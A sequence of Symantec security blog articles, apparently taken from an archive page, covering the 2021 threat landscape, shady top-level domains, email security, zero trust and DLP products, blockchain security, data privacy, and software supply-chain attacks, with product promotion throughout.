On the security front, telcos have had - or are building - programs to evaluate cyber security risk. They use algorithms to generate cyber security scores that give business leaders a fairly accurate sense of their risk. It also helps the telco recommend the right products based on that score.
If you’re an SMB, you’re likely already doing business with a telco or cable company. All the more reason to make it easier on yourself by seeking them out as a security adviser. They’ve already done the product evaluation research and are backed by world-class security providers. That just makes the business of protecting your business straightforward and economical.
|
The Threat Landscape in 2021
Symantec takes a look at the cyber security trends that shaped the year
From the evolving ransomware ecosystem to attacks against critical infrastructure, Symantec looks back over the cyber-security trends that shaped 2021.
A new whitepaper from Symantec, a division of Broadcom Software, takes a look back at the some of the major threats that shaped the threat landscape during 2021.
Ransomware was arguably the most significant threat facing organizations in 2021, with some ransomware operators departing the scene, new ones entering the fold, and business models and tactics being refined to make targeted ransomware more lucrative than ever.
However, ransomware wasn’t the only threat, with supply chain attacks, an increase in attackers exploiting vulnerabilities in public-facing applications, and attacks against critical infrastructure also shaping the threat landscape in 2021.
Ransomware
Ransomware, or more precisely, targeted ransomware, was the most dominant threat making headlines throughout 2021. Ransomware gangs moved towards targeting entities with a broad network of downstream users. These upstream entities included large software developers and organizations involved in critical infrastructure, as seen in the Kaseya and Colonial Pipeline attacks. Targeting managed service providers (MSPs) also gave attackers the opportunity to infect potentially thousands of victims by compromising just one.
While as in previous years, the total number of ransomware attacks detected and blocked by Symantec in 2021 continues to trend downwards, this doesn’t mean ransomware activity is becoming less of a threat. This downward trend is due to a significant decrease in relatively unsophisticated, indiscriminate ransomware attacks and threat actors shifting their focus to large organizations where they can cause more disruption and demand higher ransom amounts. The number of these targeted ransomware attacks rose from around 80 in January 2020 to more than 200 in September 2021.
Figure 1. Number of targeted ransomware attacks January 2020 to September 2021
This increase in targeted ransomware attacks is partly fueled by two relatively recent developments: the rise of so-called initial access brokers (IABs), threat actors that sell access to compromised networks to the highest bidder, which in recent times has become targeted ransomware gangs; and a rise in ransomware-as-a-service (RaaS), a subscription-based model that lets individuals or gangs known as affiliates use already-developed ransomware threats in their attacks.
The RaaS model greatly increases the number of adversaries an organization faces, with multiple attackers now attempting to deliver the same ransomware, but using different tactics, techniques, and procedures (TTPs).
Due to the growth in the RaaS market, affiliates now have the option to migrate to another ransomware should their current one shut down. In addition, Symantec has observed affiliates using two different strains of ransomware in a very short space of time and, in some cases, during the same attack. This suggests that some affiliates have enough of a reputation to not be locked in to an exclusive agreement with one ransomware operator.
While as in previous years, the total number of ransomware attacks detected and blocked by Symantec in 2021 continues to trend downwards, this doesn’t mean ransomware activity is becoming less of a threat.
Botnets are now also playing a key role in ransomware attacks, with many older financial fraud botnets having been repurposed to spread ransomware. In some cases, it is the same threat actor behind both the ransomware and the botnet. For example, Trickbot is believed to be controlled by the Miner group (aka Wizard Spider) which is also linked to both the Ryuk and Conti ransomware.
Another takeaway from the year concerning ransomware included operators targeting industries that were hardest hit by the COVID-19 pandemic. A prime example of this was the attack against Ireland’s national health service, the Health Service Executive, by the Conti (aka Miner, Wizard Spider) ransomware operators.
Last year also saw the REvil (aka Leafroller, Sodinokibi) ransomware’s infrastructure compromised by law enforcement, which gained control of at least some of REvil’s servers. However, as with previous efforts to halt the gang’s activity, REvil is likely to reappear in some form following the most recent takedown effort.
In 2021, targeted ransomware groups also began threatening victims in order to prevent them from sharing details of attacks with media or ransomware negotiating firms. Both the Conti and Grief ransomware gangs said that they would publish stolen victim data or delete decryption keys if transcripts or screenshots of ransom negotiations were publicly shared. The announcement was likely prompted by a growing number of media reports containing details of ransom negotiations. Other threat groups also employed similar tactics, including Ragnar Locker and a new ransomware threat called Yanluowang, which was uncovered by Symantec’s Threat Hunter Team.
Supply-chain attacks
Software supply chain attacks, due to their potential to disrupt large sections of society and business, remain a concern for governments and businesses around the world. Two significant supply chain attacks in the headlines from last year included the SolarWinds hack and the Kaseya attack.
While the SolarWinds attack occurred in late 2020 it continued to make waves well into 2021. The attackers responsible for the attack, the Russia-backed Nobelium (aka Hagensia) group, has remained active. A new backdoor threat (Tomiris) likely developed by Nobelium was uncovered in September. The malware has similarities to the SUNSHUTTLE second-stage malware used by Nobelium in the SolarWinds attack. While another post-exploitation backdoor (FoggyWeb) was also linked to Nobelium. The malware is designed to steal sensitive data from compromised Active Directory Federation Services (AD FS) servers.
The attack against IT management software maker Kaseya, which was carried out by the REvil ransomware operators, impacted multiple managed service providers (MSPs) that used the company’s software. While Kaseya reported that approximately 60 of their customers were impacted by the attack, those customers were MSPs with numerous customers themselves. The estimated number of organizations compromised as a result of the supply chain attack was 1,500. The attack was carried out during the U.S. July 4 holiday weekend, likely in an attempt to have the attack go unnoticed for as long as possible due to many employees being on leave. This is a tactic that is increasingly being adopted by threat actors.
While the Kaseya and SolarWinds attacks are the most significant, they are by no means the only supply chain attacks in recent times. According to a report from the Identity Theft Resource Center (ITRC), supply chain attacks are increasing, with 793,000 more individuals being affected by such attacks in the first three quarters of 2021 than in the entire 12 months of 2020.
New avenues of attack
Last year saw an increase in attackers exploiting vulnerabilities in public-facing applications in order to gain access to organizations’ networks. While in some cases attackers are focusing on zero-day bugs, more frequently they are looking towards recently patched vulnerabilities and the hunt for unpatched systems.
A notable example of this was the critical vulnerabilities in Microsoft Exchange Server, collectively known as ProxyLogon. The flaws were patched in early March 2021, with Microsoft saying at the time that the bugs were being exploited by an advanced persistent threat (APT) group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, shortly after the ProxyLogon vulnerabilities were disclosed, other threat actors began exploiting them.
Figure 2. Exploit attempts against Microsoft Exchange Server bugs, March to August 2021
This quick adoption was also highlighted when another string of vulnerabilities in Microsoft Exchange Server, dubbed ProxyShell, were publicly revealed in August 2021. Exploit attempts targeting these bugs began immediately, with Symantec data showing more than 200,000 exploit attempts targeting this set of vulnerabilities in August 2021 alone.
Other vulnerabilities in public-facing applications that were frequently exploited by threat actors in 2021 include flaws in VPN products from Pulse Secure (CVE 2019-11510), Fortinet (CVE-2018-13379), and SonicWall (CVE-2021-20016), and vulnerabilities in Accellion’s File Transfer Appliance (FTA) software (CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, and CVE-2021-27104).
Critical infrastructure
Cyber-attacks against critical national infrastructure (CNI) can be some of the most impactful as they can potentially affect everyone in society. This was highlighted in May 2021, when the Colonial Pipeline, the largest petroleum pipeline in the U.S., suffered a ransomware attack that impacted equipment managing the pipeline.
The attack was carried out by the Russia-based DarkSide ransomware gang. While the ransom was paid just hours after the attack took place, decryption was slow and the pipeline’s operation was halted, causing fuel shortages, price increases, and panic buying across a number of U.S. states.
The Colonial Pipeline attack was not an isolated incident, with news also emerging in July 2021 that Chinese state-sponsored threat actors had targeted 23 U.S. oil and gas pipeline operators in attack campaigns between 2011 and 2013. U.S. officials announced that the aim of the actors behind the attacks was to “help China develop cyber attack capabilities against U.S. pipelines to physically damage pipelines or disrupt pipeline operations.”
Attacks against CNI show no signs of stopping, with the number of network-based detections related to attacks targeting CNI trending upward (Figure 3). These attacks are blocked by Symantec’s Intrusion Prevention System (IPS) technologies. Malicious activity blocked on the network saw a decline after a peak in July 2021, however, overall the numbers are trending upward.
Figure 3. Network-based detections related to attacks targeting CNI
In terms of regions that see the most activity targeting the networks of CNI organizations, the U.S. is bounds ahead of others on the list with 69% of all activity seen there.
Figure 4. Regions with the most activity targeting the networks of CNI organizations
This was just a sample of the content in our latest whitepaper. Read the full paper for more insights into the threat landscape of 2021.
|
The "Top 20": Shady Top-Level Domains
Our latest report on the most suspicious TLDs in existence today as Internet scammers and hackers continue to try and game the system
[Editor’s Note: This is #23 in our ongoing series focusing on Top-Level Domains (TLDs) with high percentages of malicious or otherwise shady domains among their registrations. Links to the previous posts are found at the bottom of the page.]
Every January we calculate and then publish a "Top Twenty" list of the “shadiest” TLDs in the hope that highlighting the vast amounts of abuse will prompt some changes in behavior. Occasionally, it works and a TLD registry will reach out to ask how to screen out some of the riff-raff. More often, though, the abuse continues as Internet scammers and hackers seek to game the system. But at least folks outside of our customer base now have some additional warning about the risks they face.
Accordingly, here are the Top Twenty Shady TLDs, as of the close of 2017.
* As of late December 2017. Shady Percentage is a simple calculation: the ratio of "domains and subdomains ending in this TLD which are rated in our database with a 'shady' category, divided by the total number of database entries ending in this TLD".
Caveats
As always, we caution against reading too much into the relative positions of TLDs on this list. Rankings are very fluid from quarter to quarter. Also, we are not advocating setting up policy to block all domains on all of these TLDs. Any such recommendation would come only after more research into a TLD. In particular, .xin is rather popular in China, as is .kim in South Korea, and it would not be wise to automatically block such domains if you do any business there. Also, several TLDs have percentages based on much lower numbers of domains than some of the other TLDs in the list.
In general, it's better to leave shady domain blocking up to the professionals.
Low .Bid-ders
I've had an eye on the .bid TLD for some time. While it wasn't in 2016's Top Twenty list, it's been on the leader board for some time, and moved into the Top Ten in the middle of 2017. It dropped a bit from its #7 ranking in Q3 to #9 in Q4, but it still shows up a lot in traffic.
To get a sense of how it's being abused, I did a deep dive into a week of our December worldwide WebPulse traffic logs, and pulled out a list of the 100 most popular .bid sites. Here is how the traffic broke down:
So that's "only" 77% - 79% shady, which isn't as bad as the historical value (98.87%) shows.
However, the above numbers need a bit of clarification. On the Internet, subdomains of a parent domain are treated as (potentially) separate hosts --they may all be located on the same IP, and use the same server, or each may be on a completely different IP and/or server. For example, 16 of those 21 WebAd/Analytics sites in the table were subdomains of a single parent.
Still, it's clear that there is a considerable amount of WebAd/Analytics traffic in the .bid space -- it's a rather natural TLD for this use -- and that would need to be factored into a decision on how to handle .bid URLs by default.
Hunting for Examples
Seeing so many Malware ratings in the database, I was curious as to what we were catching. The database notes show that it mostly malware downloads detected and detection of "shady WebAd networks" (i.e., probable malvertising -- leading to those downloads).
It would have been nice to grab some samples, but all of those malicious sites were dead by the time I was building the table. So, I had to go hunting for fresh stuff.
Mostly, the sites I found looked like the Scam/PUS end of the Malware spectrum:
Another .bid site led to the following download page on a different domain:
There is, of course, a strong link between that Scam/PUS world and the Spam that brings in the victims. A great illustration is one of the junky domains (newsflash1online.bid), which didn't even have an actual Web page in its root, but was instead a directory listing over 40 Spam/Scam/PUS offer pages, such as these samples:
In summary, there don't appear to be many legitimate/useful sites on .bid, unless you're the sort who counts WebAd/Analytics sites as useful.
-C.L.
@bc_malware_guy
P.S. For easy reference, here are the links to the earlier posts in our "Shady TLD" series:
.country
.kim
.science
.gq
.work
.ninja
.xyz
.date
.faith
.zip
.racing
.cricket
.win
.space
.accountant (and .realtor)
.top
.stream
.christmas
.gdn
.mom
.pro
.men
|
The Truth About Email/Web Security
As new threats unfold in 2020, you’ll need both the right strategy and the right set of tools as part of a comprehensive, multi-layered to security
Deploying new tech is one reason why many of us love this field. We’re entering a decade that promises the convergence of 5G networks, edge computing and artificial intelligence. And yet, it’s also true that many of us are still mired in old battles, not quite ready to embrace the latest developments.
Take, for example, persistent threats to email and the web. Malware attacks appear in one out of every 412 emails according to the Symantec Internet Threat Security Report. Email remains a major attack vector for mass market/ spam ransomware attacks. And despite internet traffic encryption, the web itself is not much more fortified than email.
Even as both the scale and sophistication of cyber-attacks continue to escalate, many organizations not only remain vulnerable to spear phishing, malware, and even spam, they cannot ensure sender trust by authenticating email senders.
Are companies still not doing enough? In many instances, it’s time for a strategy shift.
Questions That Require Answers
Today’s baseline defenses require important determinations such as:
Is that embedded link safe?
What’s our defense against spear phishing attacks?
Can we assess and respond to active cyber threats?
The answer to those important questions requires both a strategy and a set of tools in place that can provide bankable solutions. Bankable, because anything less than a comprehensive, multi-layered approach is not a risk worth taking.
Embedded Links. The fact is, every embedded link must be evaluated in real-time. Attackers use nefarious techniques such as multiple redirects, shortened URLs, and time-based delays to bypass traditional detection schemes. Ultimately, you want the ability to block malicious links before email delivery. Symantec provides Click-Time URL Protection, which helps block spear phishing and other advanced threats.
Spear Phishing. Again, this starts with evaluating links at the time of delivery. In theory ‘zero-day’ attacks can elude detection for their lack of a signature. But Symantec Email Security follows the links in an attachment even if they redirect to other sites or employ time-based delays. We impose email threat isolation by rendering spear phishing links in a secure execution environment. One advanced component of this program enables organizations to educate end users to both recognize and avoid phishing attacks or other forms of fraud such as impersonation emails.
Active Threats. Do you know which of your enterprise users are most vulnerable to email attacks? One key to an effective email and web security strategy is the ability to gather data and surface insights in real-time. The goal is to identify active threats and shore up vulnerabilities prior to a breach. One way to accomplish this is by logging and analyzing incidents that reveal patterns such as persistent attacks and help you determine where to focus your efforts. Email analytics data can easily be shared with your favorite security information and event management software (SIEM) or Security Operations Center (SOC) programs. Symantec Integrated Cyber Defense makes this even easier because it enables prevention, isolation, detection and response with an integration solution—in the cloud or on premises.
No Playing in This Sandbox
Threat isolation is a technology that will springboard your cyber defenses from dormant into dynamic. It answers the policy question about how to provide secured access to uncategorized and risky websites.
Cloud-based sandboxing capabilities help you to identify and prevent targeted and advanced attacks. By creating a secure execution environment between users and the web—and sending only a safe rendering resources to the users’ browsers—web isolation helps eliminate web-borne threats from ever reaching your end users. Isolated email attachments containing ransomware or malware never infect users.
Threat isolation is a technology that will springboard your cyber defenses from dormant into dynamic.
Under the hood, Symantec’s solution employs advanced machine learning, network traffic analysis and behavior analysis so you’re not blindsided by stealthy or persistent threats. As a service, it provides multi-layered dual anti-virus and heuristic analysis and file-reputation analysis.
Symantec Integrated Cyber Defense, which covers web, endpoint, and email security, enables your organization to repel diverse threats such as spear phishing, ransomware and other forms of malware that would undermine your business.
Looking forward, with 5G networks, edge computing, and AI-based applications beginning to ramp up, it’s likely that the resulting innovations will also exacerbate demand to shore up endpoints, networks, data centers and cloud-based services. Now is the time to embrace that future unencumbered by old foes such as email and web security.
|
The Two Keys to Zero Trust: Data Loss Prevention and Machine Learning
Multiple technologies and practices that sniff out anomalies in user behavior patterns are crucial elements in a successful Zero Trust rollout
Data is the raw material of business. There is more data than ever, from more sources than ever. Whether creating, modifying, analyzing or communicating, nearly everyone’s job involves working with data in some way. But much data is sensitive. It may contain proprietary information, confidential information, or personally-identifiable information. Inadvertent employee actions can compromise sensitive data, with severe consequences for an organization.
It would be great if all workers would behave perfectly, but that will never happen. Negligent actions include oversharing sensitive data on cloud apps, using private email accounts or shadow applications for data sharing, using removable storage devices for data distribution and printing from a home printer or an unattended printer in a public place. Let’s not forget that many employees leave their systems unlocked when they go home at the end of the day, despite admonitions to the contrary. And no matter how many warnings are given, some employee, somewhere, at some time, will click on a phishing email.
Multiple technologies and practices are needed to implement Zero Trust, beginning with data loss prevention (DLP), two-factor authentication, least-privilege access, encryption and digital-rights management (DRM).
Protecting against data leakage caused by user negligence is a significant responsibility of IT leaders, many of whom are fighting back by implementing Zero Trust cyber security strategies. The idea of Zero Trust is to move beyond a peripheral defense and assume that all persons, devices or entities -- even longstanding employees -- should be considered as potential threats. As MIT professor of information technologies Stuart Madnick puts it, “There are only two types of organizations: those that know they have been attacked, and those that do not yet know they have been attacked.”
Data loss must of course be protected against, but any exposure of personally identifiable information (PII) could make an organization liable to severe fines under major privacy ordinances, such as the European Union’s GDPR, HIPAA in healthcare or the California Consumer Privacy Act (CCPA) which will become effective in 2020. More costly than fines might be class action lawsuits filed by “data subjects” (those whom the data concerns) and reputational damage.
Multiple technologies and practices are needed to implement Zero Trust, beginning with data loss prevention (DLP), two-factor authentication, least-privilege access, encryption and digital-rights management (DRM). One of the most significant weapons in the Zero Trust arsenal is user and entity-based analytics (UEBA), which uses AI and machine learning to search for anomalies in user behavior patterns.
Symantec DLP and ICA
Keeping data under lock and key defeats the purpose of digital business. Workers need to work with data, even sensitive data, and sometimes move it outside an organization. For example, a hospital administrator might need to send an insurance company HIPAA-protected information from a patient’s health record. However, that administrator would not need to save the data to a removable USB drive. Symantec DLP stands guard by automatically discovering sensitive data, enforcing protective measures such as encryption and DRM, and preventing it from leaving the enterprise in unwanted or noncompliant ways.
Symantec DLP doesn’t stop there. It enables you to surveil behaviors relating to suspicious user-installed applications and prevent exfiltration of sensitive data. Symantec DLP also is configured to identify GDPR-protected information, enabling you to track its use and location, and regulate its flow. And it integrates with encryption and cloud-access security broker (CASB) technologies to protect email, removable media, individual files and data in the cloud.
Working hand-in-hand with DLP, Symantec Information-Centric Analytics (ICA) implements UEBA, providing AI-and ML-enabled insight into user behavior. Every employee has a normal behavior pattern, which ICA observes, records, and compares to that of employees with similar responsibilities. When an employee’s behavior, or usage of an employee’s system, departs from the normal pattern – a 3AM download of sensitive data, for example -- ICA takes note, assigning a risk score and reporting to an organization’s security operations center (SOC).
Symantec DLP stands guard by automatically discovering sensitive data, enforcing protective measures such as encryption and DRM, and preventing it from leaving the enterprise in unwanted or noncompliant ways.
Zero Trust is not a silver bullet. It is a process that is best implemented with the goal of continuous improvement. Measures must be put in place and then enforced so they become part of daily routine for IT and for employees. For example, an employee committing a negligent action should receive a data incident notification along with recommended self-remediation actions, such as visiting a self-remediation portal to get up to speed on corporate data policies.
The goal is to achieve steady risk reduction over time by mitigating negligence and reducing mistakes without impairing productivity. When employees sense that complying with cumbersome security measures makes getting their jobs done more difficult, they are likely to work around those measures, using shadow IT applications and taking work to unsecured locations.
Negligent behavior will always be with us. As you fight back with a Zero Trust strategy, make sure that Symantec DLP and ICA are on your side.
|
The ‘Easy Button’ For DLP
Symantec DLP 16 Innovation Eliminates the Need For Complex Policies
Think about the last headline you read about a data breach. It probably reads like many others - yet another organization has lost high volumes of Social Security Numbers, Credit Card details, Medical records etc. Organizations know that this information is important. They have likely taken steps to protect it, so how did this happen?
Most likely the data was stored in a tabular or structured format (such as tables), yet the organization was probably searching for a specific data type (e.g. credit card or customer identifier). The challenge in finding sensitive data this way is you need to ensure many policies to cover all eventualities, and maintaining this set can be overwhelming. With DLP 16 we have solved this challenge, in essence giving customers an “easy button” to reduce the risk of a breach.
Structured Data Matching - Eliminating The Need For Complex Policies
Symantec DLP 16 (both Cloud and On-Prem,) now includes automatic identification and detection of sensitive content occurring in a tabular format in documents (such as MS Word) and Email messages using Structured Data Matching across on-premises channels including DLP for Network (email, web, and network monitor,) and DLP Network Discover.
With this innovative approach, customers can detect structured data embedded in an otherwise unstructured document. The feature looks for sensitive data (such as Social Security Number, Credit Card Numbers, or Email addresses) formatted in columns and rows without the need to manually enable any specific PII, Healthcare or Finance Data Identifiers or Policy templates.
The new capability is available to all DLP customers with DLP version 16.0.
Key Benefits:
Superior protection against sensitive data leaks: Customers are better protected against data leaks due to inadequate policies.
Enhanced DLP compliance: Out-of-the-Box protection to help customers remain compliant with their DLP data protection regulations.
“Easy Button” setup: Automatic protection without an operational investment and challenges of building indexes such as EDM and EMDI.
How Do Structured Data Identifiers (For Automated Detection) Work?
The Automatic Structured Data Protection feature is designed to protect data leaks with minimum customer manual interaction and iteration. Our approach is to focus this technology on the most likely type of data leak – exfiltration of data in tabular format in documents and email messages.
Structured Data Identifiers provide customers with an “Easy Button” to identify sensitive content.
As a DLP Policy Author, a user can select from a list of pre-defined Structured Data Identifiers (PII, Likely PII, Healthcare and Financial), that ship with the product, when creating a Rule for a DLP Policy. Once part of a Policy, Structured Data Identifier identifies tabular data in unstructured documents including MS Office documents (Excel, Word, PowerPoint), PDFs, and CSV files, and Email messages across DLP for Network and DLP Network Discover channels. This automated identification (of tabular data) involves sophisticated parsing (and subsequent extraction) of table contents to identify natural column (and field) delineations and distinguishing column headers (when present) from column data.
Figure 1: Detection Rule for “Content Matches Structured Data Identifier” and its drop down options.
The system then decides on the optimal set of Data Identifiers required for potential matches on the table data to generate DLP Policy violations. Finally, table columns that match Structured Data Identifiers are highlighted in the policy violation report (a.k.a: DLP Incident) for DLP Incident Remediators.
Why do you need Automatic Structured Data Protection?
Protect against expensive Data Breaches: Data breaches, of sensitive/confidential information, often tend to occur in a tabular format. This is because such data either is available from a direct “export” of a database table/query or is copied from a spreadsheet containing PII, Healthcare or Financial information.
Remove blind-spots in DLP protection: Structured Data Identifier creates categories (of protection) such as PII, Healthcare or Finance data, reducing the need for manually including data identifiers into DLP Policies. DLP Policy Authors need to select the “What” - PII, Healthcare or Finance, while the system parses data and automatically decides on the “How.”
Easy (Off-cycle) data domain updates: Customers will receive updates for Structured Data Identifiers, covering additional data domains, through the Content Packs.
With this newly developed capability, Symantec DLP customers can leverage their DLP investment to better protect against potential data breaches, including phishing attacks, involving exfiltration of sensitive information (PII, Financial and Healthcare) in tabular format in documents and Email messages. The Out-of-the-Box Detection Rule offers highest protection without any operational investment.
For more information about DLP OCR-in-Cloud, and additional Symantec Cloud features, please visit this page.
|
Think Blockchain’s Automatically Secure? Think Again
While the technology is generally believed to be secure, organizations shouldn’t assume that makes it automatically safe to use
When the price of a single Bitcoin jumped from $1,000 to $20,000 last year–and then promptly plummeted in early 2018–the critics said the endemic volatility of cryptocurrencies would kill off any chance of broad adoption.
No such blandishments, however, have accompanied predictions about the viability of the blockchain technology that underlies cryptocurrencies. Indeed, keen interest in blockchain’s potential has resulted in a beehive of development activity.
The Enterprise Ethereum Alliance now boasts more than 200 members and 17 working groups focused on establishing standards for projects adopting the technology. At the same time, the Linux Foundation's Hyperledger group counts 231 organizations working on more than 400 projects.
Yet while the technology is generally believed to be secure, organizations shouldn’t assume that makes it automatically safe to use. A great deal relies on how it’s implemented, according to David Huseby, a security expert with the Linux Foundation's Hyperledger project.
"The theory of blockchain is sound. The cryptography is sound. And the computer science behind it is sound,” Huseby said. “Bitcoin proves that global-scale blockchain applications that are secure can be built. The security models for blockchain, however, are really different from what people are familiar with."
Enterprise blockchain projects mostly remain in the proof-of-concept stage by early adopters in a variety of industries. Financial services companies, which were among the first to test out the technology, are running pilot programs that focus on interbank clearing of transactions in near real time. The healthcare and shipping industries are testing blockchain technology as a way to track medicine and other goods through the supply chain. Even providers of sustainable seafood are trying their hand at using the blockchain to establish the provenance of the produce they sell.
"Any time you have accounting that has to happen between businesses where making that accounting more efficient — that is a slam-dunk case," Huseby said. "For now, we are seeing business-to-business applications, but we will start seeing things where it is wholesale to retail."
Yet, the security of applications relying on the blockchain can be complex. One site that tracks such failures, the Blockchain Graveyard, has documented 54 compromises of cryptocurrencies, exchanges, and wallet software.
"There is a lot to be learned from how poorly the implementations have been done," said Marta Piekarska, director of ecosystem for the Linux Foundation. "The protocols are good and the technology is sound. But what we have been observing is that the implementation and usability have been failing."
Companies need to not just understand the advantages of blockchain technology, but also disadvantages and the problems that come along with the blockchain technology, she said.
Encryption and Key Management
Unlike the credential-based security—think usernames and passwords—with which most information-security managers are familiar, the blockchain relies on public- and private-key infrastructure and inherits the management issues of that technology.
"This kind of security model has a very difficult user interface and set of problems," said Hyperledger's Huseby. "It requires the end user to have to manage their encryption keys, and key material is very sensitive data, and there is a lot of mistakes that people have in dealing with that."
Managing encryption keys is a difficult problem. That complexity means that getting the security right is difficult, according to Saurabh Shintre, a principal researcher with Symantec Research Labs.
"It is very easy to make a mistake when implementing the technology," he said.
Public, Private Blockchains and Security Models
While each record in the blockchain is secured by encryption, the way that transactions on the blockchain are verified is determined by whether the blockchain is public or private. Public blockchains rely on consensus to prevent fraud, but require a great deal of processing power, and generally need a currency—such as Bitcoin —to reward the infrastructure owners.
For example, the advertising technology firm, Verasity, uses a public blockchain and a fiat currency called Veracoin to create a way that advertisers can determine legitimate views of the video content. A public blockchain with anonymized information on ad views gives anyone the ability to check
"For advertisers, it is great," said David Orman, CEO of Verasity. "You can check the ledger and look for anything suspicious or anything that does not add up."
On the other hand, private blockchains rely on permitted nodes in the network to verify transactions.
"The consensus technology is really new with Bitcoin," said Symantec's Shintre. "While Bitcoin 's infrastructure has been well tested, it may not be the case with permissions ledgers, and that is something for which the people that are building these applications need to focus on."
The problems will be worked out. But for companies who are joining the early adopters, they need to focus on not just the security of the technology, but on the security of the infrastructure and testing their management and monitoring processes.
Because, even with the uncertainties in security, blockchain is set to grow.
"We are just at the start of the block chain," said Verasity's Orman. "Just with existing technology, you are doing something already unique and different. And it is continuing to evolve, so between 18 months and 36 months from now, you will see a variety of new applications and businesses."
If you found this information useful, you may also enjoy:
2018 Cyber Security Predictions
Blockchain: The Invisible Technology That's Changing the World
The Blockchain Graveyard
|
Think Privacy. Think Security
Data breaches compromise privacy, security and economic well-being. Here’s what Symantec is doing about it
Today is Data Privacy Day, an international effort to raise awareness of privacy rights and empower individuals and businesses to respect privacy, safeguard data and enable trust.
With the increasing use of smart home products, wearable devices, and through our numerous social media accounts, we produce more data than ever without necessarily realizing the digital trails left behind. And all that data is potentially vulnerable to being compromised, often for nefarious purposes.
Millions of people are often unaware of how their personal data is being used, collected or shared, and ignore the magnitude or severity of their exposure. Indeed, seemingly each day brings news about more breaches and compromises of personal data.
Sharing data is the foundation of personalized services. It's what makes search results relevant, it ensures consumers get deals for the products they buy, it fuels loyalty programs. We use apps and online services often for ‘free’, but the hidden price is some form of our personal data. Data Privacy Day is an effort to remind consumers to make active decisions about what they are sharing, and to choose how, when, where, and for what purposes their data is being used.
At Symantec we often talk about how there can be no privacy without security. Privacy relates to the principles, laws and regulations companies must adhere to when collecting, processing, storing, and ultimately disposing of individuals’ personal and private data. Security is the use of the right technical and organizational methods to protect that data, and while you can have security without privacy, you cannot have privacy without security. To learn more about how Symantec’s privacy and security teams work together, read this article by David Bradbury, Symantec’s CISO, on the role security practitioners need to play to safeguard the privacy of customer data.
Privacy laws are shifting globally in a big way, and adequate security is the one constant and the simplest way to ensure that companies comply with required laws and protect their customers’ and employees’ most important information. At Symantec, privacy is a top issue for our employees, customers, partners, and suppliers. The topic has taken on further urgency since passage of the European Union’s General Data Protection Regulation (GDPR), which took effect last year.
Privacy at Symantec
Privacy is embedded into our product and service offerings, public policy initiatives, robust internal compliance program, and our culture, and continues to guide our decision-making and actions. In celebration of Data Privacy Day, below you’ll find examples of how we work to keep customer and employee data private at Symantec.
Products and Services
Beyond the laws governing privacy, companies are obligated to ensure that proper administrative, technical and physical security safeguards are in place to protect personal data. Symantec is in the unique position to deliver products and services that enable our customers to protect personal data and comply with data protection regulations. We recently launched an updated Customer Trust Portal to support the field and provide our global enterprise customers, partners, and consumers with information relevant to data security policies and regulations.
At Norton, we are introducing a new online privacy product to test in the market, Norton Privacy Manager. This all-in-one app brings many online privacy solutions into a single app and helps manage and control what personal data you share online.
Compliance
Keeping data private must include a commitment to robust compliance with numerous regulations. As an example, Symantec took a number of steps to strengthen and enhance our own privacy practices as part of our GDPR-readiness effort. In particular we enhanced our Global Privacy Statement, improved our product transparency notices, and launched a new Privacy - GDPR Portal. We’ve heard from individual consumers, enterprise customers, business partners, and our own sales teams that they regularly use our portal.
We also released a ‘privacy-by-design framework’ toolkit to help each of our teams translate privacy principles and requirements such as those of the GDPR into their existing business processes and offerings, leveraging existing IT and collaboration tools where possible.
Employee Training & Awareness
The most common privacy weaknesses are often human error and technical shortcomings. That’s why we work to embed strong cyber security practices into Symantec’s culture by educating and training our own workforce. Employee, and consumer, education about security and data protection is paramount and essential for ethical corporate citizenship.
As part of our GDPR compliance effort, we rolled out a mandatory, company-wide training to help employees and contractors understand how and where GDPR compliance would impact their work. We created a new privacy governance structure, the Symantec Global Privacy Council, a group of C-suite executives that help provide strategic direction and counsel to the company on all privacy matters. And, we launched a new Privacy Ambassadors’ Circle, which includes appointees from each corporate function, business unit, and main geographical area, creating a consistent network of privacy liaisons across the company to carry the privacy strategy and escalate any privacy concerns.
Data breaches compromise privacy, security and economic well being, and the financial and reputational risks have both immediate and long-term impacts. Throughout my career, I’ve seen firsthand the real world impacts that a breach of security can have on customers, businesses and communities. Keeping personal data confidential and secure can prevent identity theft, prevent our private lives from being exposed, and can even help prevent human rights violations such as discrimination that could result from personal data being misused.
Learn more about Data Privacy Day Here
|
Think Your Supply Chain is Truly Secure? Think Again
If users blindly trust in the security of their supply chain, trouble beckons. Here’s why
Five years ago, when I would talk to groups about software supply chain attacks, my listeners’ eyes glazed over. Most had no idea what I was talking about.
They surely know about it now. In fact, Symantec’s latest ISTR report describes in detail how cyber criminals continue to ramp up their attacks on supply chains and trusted software. At the same time, the nature of the threat is also changing.
Malicious actors no longer need to develop and deploy deadly new software to penetrate an organization’s defenses. In fact, attackers have enjoyed great success by deploying a deception tactic that we refer to as “Living Off the Land” or (LotL)
The terms refer to the practice of using “normal” IT tools and processes to launch malicious attacks. It’s an ingenious approach. Rather than developing dedicated techniques and tools, attackers can instead camouflage their malicious activities by leveraging normal tools and processes.
New Opportunities for Attackers
We hear a lot nowadays about digital transformation. In practice, that just refers to the fact that more and more business processes are becoming digital, rather than dependent upon paper.
It also means that enterprises need more and more IT infrastructure and applications to support their increasingly digitized business processes. But as the IT landscape inside organizations becomes far more dynamic and agile, it also offers potential opportunities for malicious actors to exploit mistakes.
Supply Chain Attacks
Attackers used to prefer to target “static” IT environments (servers, networks, endpoints) and human-managed processes for their deployment and maintenance. The normal process of an external vendor employee connecting from an external system was used as a camouflage and malicious hackers then found ways to exploit weak points in the IT supply chain - sometimes with great success. Attacking through vendors can be considered “IT Supply Chain Attack 1.0”.
Their attention has since shifted to target the “Land” of automatic software updates, using legitimate software update mechanisms and distributing malicious payloads via them. Attacks distributed via malicious software updates can be considered part of “IT Supply Chain Attack 2.0”. And they pack quite a punch; one of the unique features of this generation of supply chain attacks is that a compromised software update can be delivered to different locations, essentially serving as a force multiplier.
The most recent generation of supply chain attacks - I call them “IT Supply Chain Attack 3.0” - focus on the modern IT Applications supply chain. These supply chain processes are influenced by the Shift-Left IT mentality and by roles such as DevOps and Cloud Ops performing Continuous Integration and Continuous Delivery of the business applications. The multiplier impact of this 3rd generation of Supply Chain Attacks is even higher than it was with the previous generations. What’s more, the ability of attackers to camouflage their actions is enhanced as the compromise can now take place very far from the actual attack location.
Digital Transformation and its Discontents
Let’s set cyber security aside for a moment. The big changes taking place in the corporate IT world often get lumped together under the umbrella of “digital transformation.” In practice, that’s just a buzzword for the fact that more and more business processes are going digital rather than remaining dependent upon paper.
